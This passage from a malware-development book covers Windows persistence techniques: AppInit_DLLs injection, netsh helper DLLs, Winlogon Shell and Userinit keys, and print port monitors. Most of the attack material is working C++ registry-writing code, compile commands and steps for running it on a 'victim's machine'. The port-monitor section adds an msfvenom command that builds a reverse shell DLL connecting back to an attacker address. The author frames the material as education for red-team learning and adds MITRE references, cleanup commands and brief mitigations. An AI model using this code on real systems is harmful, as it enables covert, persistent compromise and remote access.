const char* dll = "Z:\\2022-05-16-malware-pers-5\\evil.dll";
// activation
DWORD act = 1;

// 32-bit and 64-bit


LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs",
0, REG_DWORD, (const BYTE*)&act, sizeof(act));
RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs",
0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
}

res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\
Windows",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"LoadAppInit_DLLs",
0, REG_DWORD, (const BYTE*)&act, sizeof(act));
RegSetValueEx(hkey, (LPCSTR)"AppInit_DLLs",

395
0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
}
return 0;
}

As you can see, setting the registry key LoadAppInit_DLLs to value 1 is also
important.
Let’s go to compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

demo
Let’s go to see everything in action! Drop all to victim’s machine (Windows 10
x64 in my case).
Then run as Administartor:
.\pers.exe

and:
reg query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" \
/s
reg query \
"HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\
Windows" /s

just check.

396
Then, for demonstration, open something like Paint or Notepad:

397
So, everything is worked perfectly :)

second example:
However, this method’s implementation may result in stability and performance
difficulties on the target system:

Furthermore, I think that the logic of the first DLL’s is considered very odd
since multiple message boxes popup, so when we act real-life action in red team
scenarios: it’s very noisy, for example for multiple reverse shell connections.
I tried updating little bit the logic of evil.dll:
/*
evil2.cpp
inject via Appinit_DLLs - only for `mspaint.exe`
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/16/malware-pers-5.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

char* subStr(char *str, char *substr) {


while (*str) {
char *Begin = str;
char *pattern = substr;
while (*str && *pattern && *str == *pattern) {

398
str++;
pattern++;
}
if (!*pattern)
return Begin;

str = Begin + 1;
}
return NULL;
}

extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
MessageBoxA(NULL, "Meow-meow!", "=ˆ..ˆ=", MB_OK);
return TRUE;
}
}

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
char path[MAX_PATH];
switch (nReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, path, MAX_PATH);
if (subStr(path, (char *)"paint")) {
runMe();
}
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

As you can see, if the current process is paint (and is 32-bits) then, “inject” :)

399
Perfect! :)

For cleanup, after end of experiments:


reg add \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" \
/v LoadAppInit_DLLs /d 0
reg add \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" \
/v AppInit_DLLs /t REG_SZ /f

400
This technique is not new, but it is worth paying attention to it, in the wild,
this trick was often used by groups such as APT 39 and malwares as Ramsay.
MITRE ATT&CK: APPInit_DLLs
APT39
Ramsay
source code in github

401
47. malware development: persistence - part 6. Windows
netsh helper DLL. Simple C++ example.

This section is a next part of a series of articles on windows malware persistence


techniques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick:
Netsh Helper DLL.

netsh
Netsh is a Windows utility that administrators can use to modify the host-based
Windows firewall and perform network configuration tasks. Through the use of
DLL files, Netsh functionality can be expanded.
This capability enables red teams to load arbitrary DLLs to achieve code exe-
cution and therefore persistence using this tool. However, local administrator
privileges are required to implement this technique.

practical example
Let’s go to consider practical example. First of all create malicious DLL:
/*
evil.cpp
simple DLL for netsh
author: @cocomelonc

402
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

extern "C" __declspec(dllexport)


DWORD InitHelperDll(
DWORD dwNetshVersion, PVOID pReserved) {
MessageBox(NULL, "Meow-meow!", "=ˆ..ˆ=", MB_OK);
return 0;
}

Compile it:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive

And transferred to the target victim’s machine.


Netsh interacts with other components of the operating system via dynamic-link
library (DLL) files. Each netsh helper DLL offers a comprehensive collection of
features. The functionality of Netsh can be expanded using DLL files:
reg query "HKLM\Software\Microsoft\NetSh" /s

403
Then, the add helper can be used to register the DLL with the netsh utility:
netsh
add helper Z:\2022-05-29-malware-pers-6\evil.dll

404
Everything is worked perfectly!
However, netsh is not scheduled to start automatically by default. Persistence
on the host is created by creating a registry key that executes the application
during Windows startup. This can be done immediately using the script below:
/*
pers.cpp
windows persistence via netsh helper DLL
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// netsh
const char* netsh = "C:\\Windows\\SysWOW64\\netsh";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0 , KEY_WRITE, &hkey);

405
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"hack",
0, REG_SZ, (unsigned char*)netsh, strlen(netsh));
RegCloseKey(hkey);
}
return 0;
}

As you can see it’s similar to script from my post about persistence via registry
run keys
Check registry run keys:
reg query \
"HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
/s

Compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run on victim’s machine:


.\pers.exe

406
When the add helper command is executed to load a DLL file, the following
registry key is created:

But there is a caveat. The PoC’s logic needs to be updated to create a new
thread so that netsh can still be used while the payload is running. However,
when netsh ends, so does your malicious logic.
So, let’s try. Create new DLL (evil2.cpp):

407
/*
evil2.cpp
simple DLL for netsh
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/29/malware-pers-6.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

DWORD WINAPI Meow(LPVOID lpParameter) {


MessageBox(NULL, "Meow-meow!", "=ˆ..ˆ=", MB_OK);
return 1;
}

extern "C" __declspec(dllexport)


DWORD InitHelperDll(
DWORD dwNetshVersion, PVOID pReserved) {
HANDLE hl = CreateThread(NULL, 0, Meow, NULL, 0, NULL);
CloseHandle(hl);
return 0;
}

Compile:
x86_64-w64-mingw32-gcc -shared -o evil2.dll evil2.cpp -fpermissive

and run steps again:


netsh
add helper Z:\2022-05-29-malware-pers-6\evil2.dll

408
As you can see, everything is ok, netsh can still be used. And we can check
registry key for correctness:
reg query "HKLM\Software\Microsoft\NetSh" /s

Because it is based on the exploitation of system features, this type of attack


cannot be easily mitigated with preventive controls.
netsh
MITRE ATT&CK: Netsh Helper DLL
source code on github

409
48. malware development: persistence - part 7. Winlogon.
Simple C++ example.

Today I’ll wrote about the result of self-researching another persistence trick:
Winlogon registry keys.

winlogon
The Winlogon process is responsible for user logon and logoff, startup and
shutdown and locking the screen. Authors of malware could alter the registry
entries that the Winlogon process uses to achieve persistence.
The following registry keys must be modified in order to implement this persis-
tence technique:
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
However, local administrator privileges are required to implement this technique.

practical example
First of all create our malicious application (hack.cpp):
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE


hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

410
MessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}

As you can see, it’s just a pop-up “meow” message as usually.


Let’s go to compile it:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

The generated hack.exe needs to be dropped into the victim’s machine.


Changes to the Shell registry key that include an malicious app will result in
the execution of both explorer.exe and hack.exe during Windows logon.
This can be done immediately using the script below:
/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/12/malware-pers-7.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// shell
// const char* sh = "explorer.exe,
// Z:\\2022-06-12-malware-pers-7\\hack.exe";
const char* sh = "explorer.exe,hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",

411
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key

// reg add
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon"
// /v "Shell" /t REG_SZ /d "explorer.exe,..." /f
RegSetValueEx(hkey, (LPCSTR)"Shell", 0, REG_SZ,
(unsigned char*)sh, strlen(sh));
RegCloseKey(hkey);
}

return 0;
}

Also, similar for Userinit. If this registry key include an malicious app will
result in the execution of both userinit.exe and hack.exe during Windows
logon:
/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/12/malware-pers-7.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// userinit
const char* ui = "C:\\Windows\\System32\\userinit.exe,
Z:\\2022-06-12-malware-pers-7\\hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key

// reg add

412
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon"
// /v "Shell" /t REG_SZ /d "explorer.exe,..." /f
RegSetValueEx(hkey, (LPCSTR)"Userinit", 0,
REG_SZ, (unsigned char*)ui, strlen(ui));
RegCloseKey(hkey);
}

return 0;
}

So, compile the program responsible for persistence:


x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

demo
And see everything in action. First of all, check registry keys:
req query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" \
/s

413
Copy malicious app to C:\Windows\System32\. And run:
.\pers.exe

Then, logout and login:

414
According to the logic of the our malicious program, “meow-meow” popped up:

415
Let’s check process properties via Process Hacker 2:

Then, cleanup:
reg add \
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" \
/v "Shell" /t REG_SZ /d "explorer.exe" /f

416
What about another key Userinit.exe? Let’s check. Run:
.\pers.exe

Logout and login:

417
Then, for the purity of experiment, check properties of hack.exe in Process
Hacker 2:

418
As you can see, parent process is winlogon.exe.
Cleanup:
reg add \
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" \
/v "Userinit" /t REG_SZ /d \
"C:\Windows\System32\userinit.exe" /f

419
As you can see in both cases, the malware will be executed during Windows
authentication.
But there are interesting caveat. For example if we update registry key as
following logic:
/*
pers.cpp
windows persistence via winlogon keys
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/12/malware-pers-7.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// shell
const char* sh = "explorer.exe,
Z:\\2022-06-12-malware-pers-7\\hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",

420
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key

// reg add
// "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
// NT\CurrentVersion\Winlogon" /v
// "Shell" /t REG_SZ /d "explorer.exe,..." /f
RegSetValueEx(hkey, (LPCSTR)"Shell", 0,
REG_SZ, (unsigned char*)sh, strlen(sh));
RegCloseKey(hkey);
}

return 0;
}

That is, our malware is located along the path: Z:\...\hack.exe instead of
C:\Windows\System32\hack.exe.
Run:
.\pers.exe
req query "HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon" /s

And relogin:

421
Checking properties of hack.exe:

422
As you can see, parent process is Non-existent process. Parent will show as
Non-existent process since userinit.exe terminates itself.
There is one more note. Also, the Notify registry key is commonly present
in older operating systems (prior to Windows 7) and it points to a notification
package DLL file that manages Winlogon events. If you replace the DLL entries
under this registry key with any other DLL, Windows will execute it during
logon.
What about mitigations? Limit user account privileges so that only authorized
administrators can modify the Winlogon helper. Tools such as Sysinternals
Autoruns may also be used to detect system modifications that may be attempts
at persistence, such as the listing of current Winlogon helper values.
This persistence trick is used by Turla group and software like Gazer and Bazaar
in the wild.
MITRE ATT&CK - Boot or Logon Autostart Execution: Winlogon Helper DLL
Turla
Gazer backdoor
Bazaar
source code on Github

423
49. malware development: persistence - part 8. Port moni-
tors. Simple C++ example.

This post is the result of self-researching one of the interesting malware persistence
trick: Port monitors.

port monitors
Port Monitor refers to the Windows Print Spooler Service or spoolv.exe in this
post. When adding a printer port monitor, a user (or an attacker) is able to add
an arbitrary dll that serves as the “monitor”.
There are essentially two ways to add a port monitor, also known as your
malicious DLL: through the Registry for persistence or a custom Windows
application (AddMonitor function) for immediate dll execution.

adding monitor
Using the Win32 API, specifically the AddMonitor function of the Print Spooler
API:
BOOL AddMonitor(
LPTSTR pName,
DWORD Level,
LPBYTE pMonitors
);

it is possible to add an arbitrary monitor DLL immediately while the system


is running. Note that you will need local administrator privileges to add the
monitor.
For example, source code of our monitor:

424
/*
monitor.cpp
windows persistence via port monitors
register the monitor port
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/19/malware-pers-8.html
*/
#include "windows.h"
#pragma comment(lib, "winspool")

int main(int argc, char* argv[]) {


MONITOR_INFO_2 mi;
mi.pName = "Monitor";
mi.pEnvironment = "Windows x64";
// mi.pDLLName = "evil.dll";
mi.pDLLName = "evil2.dll";
AddMonitor(NULL, 2, (LPBYTE)&mi);
return 0;
}

Compile it:
x86_64-w64-mingw32-g++ -O2 monitor.cpp -o monitor.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lwinspool

Also, create our “evil” DLL:


msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.56.1 LPORT=4445 -f dll > evil2.dll

So, compiling the code will produce an executable (monitor.exe in my case)


that will register the malicious DLL (evil2.dll) on the system.

425
demo for add “monitor”
Copy files and run:
copy Z:\2022-06-19-malware-pers-8\evil2.dll .\
copy Z:\2022-06-19-malware-pers-8\monitor.exe .\
.\monitor.exe

registry persistence
A list of sub-key port monitors can be found within the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
node. Each key should have a REG_SZ entry containing a Drivers DLL. At
system startup, each of these DLLs will be executed as SYSTEM.
First of all, before malicious actions, check sub keys:
reg query \
"HKLM\System\CurrentControlSet\Control\Print\Monitors" \
/s

426
Then, add sub key Meow and Driver value:
reg add \
"HKLM\System\CurrentControlSet\Control\Print\Monitors\Meow"
/v "Driver" /d "evil2.dll" /t REG_SZ
reg query \
"HKLM\System\CurrentControlSet\Control\Print\Monitors"
/s

As you can see, everything is completed correctly. Then restart victim’s machine:

427
And after a few minutes:

428
Let’s go to check Network tab in Process Hacker 2:

429
We can see that the evil2.dll is being accessed by the spoolsv.exe (PID:
4616), which eventually spawns a rundll32 with our payload, that initiates a
connection back to the attacker:

For cleanup, after end of experiments, run:


Remove-ItemProperty -Path \
"HKLM:\System\CurrentControlSet\Control\Print\Monitors\
Meow" -Name "Driver"

430
My “dirty PoC” for registry persistence:
/*
pers.cpp
windows persistence via port monitors
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/19/malware-pers-8.html
*/
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// subkey
const char* sk =
"\\System\\CurrentControlSet\\Control\\Print\\Monitors\\Meow";

// evil DLL
const char* evilDll = "evil.dll";

// startup
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE,
(LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {

431
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"Driver", 0, REG_SZ,
(unsigned char*)evilDll, strlen(evilDll));
RegCloseKey(hkey);
} else {
printf("failed to create new registry subkey :(");
return -1;
}
return 0;
}

During Defcon 22, Brady Bloxham demonstrated this persistence technique.


This method requires Administrator privileges and the DLL must be saved to
disk.
The question remains whether any APTs uses this technique in the wild.
Windows Print Spooler Service
Defcon-22: Brady Bloxham - Getting Windows to Play with itself
MITRE ATT&CK - Port Monitors persistence technique
source code on Github

50. final
Alhamdulillah, I finished writing this book while in the hospital with my daughter.
It was quite difficult. In sha Allah everything will be fine. O Allah, Lord of the
Worlds, give strength to my daughter.
Why is the book called that? MD - means Malware Development, The MZ
signature is a signature used by the MS-DOS relocatable 16-bit EXE format and
its still present in today’s PE files for backwards compatibility., also MD MZ
means My Daughter Munira Zhassulankyzy.
I will be very happy if this book helps at least one person to gain knowledge
and learn the science of cybersecurity. The book is mostly practice oriented.
All examples are practical cases for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

432
433
MD MZ
The proceeds from the sale of this book
will be used to treat my daughter Munira

ALL RIGHTS RESERVED

You might also like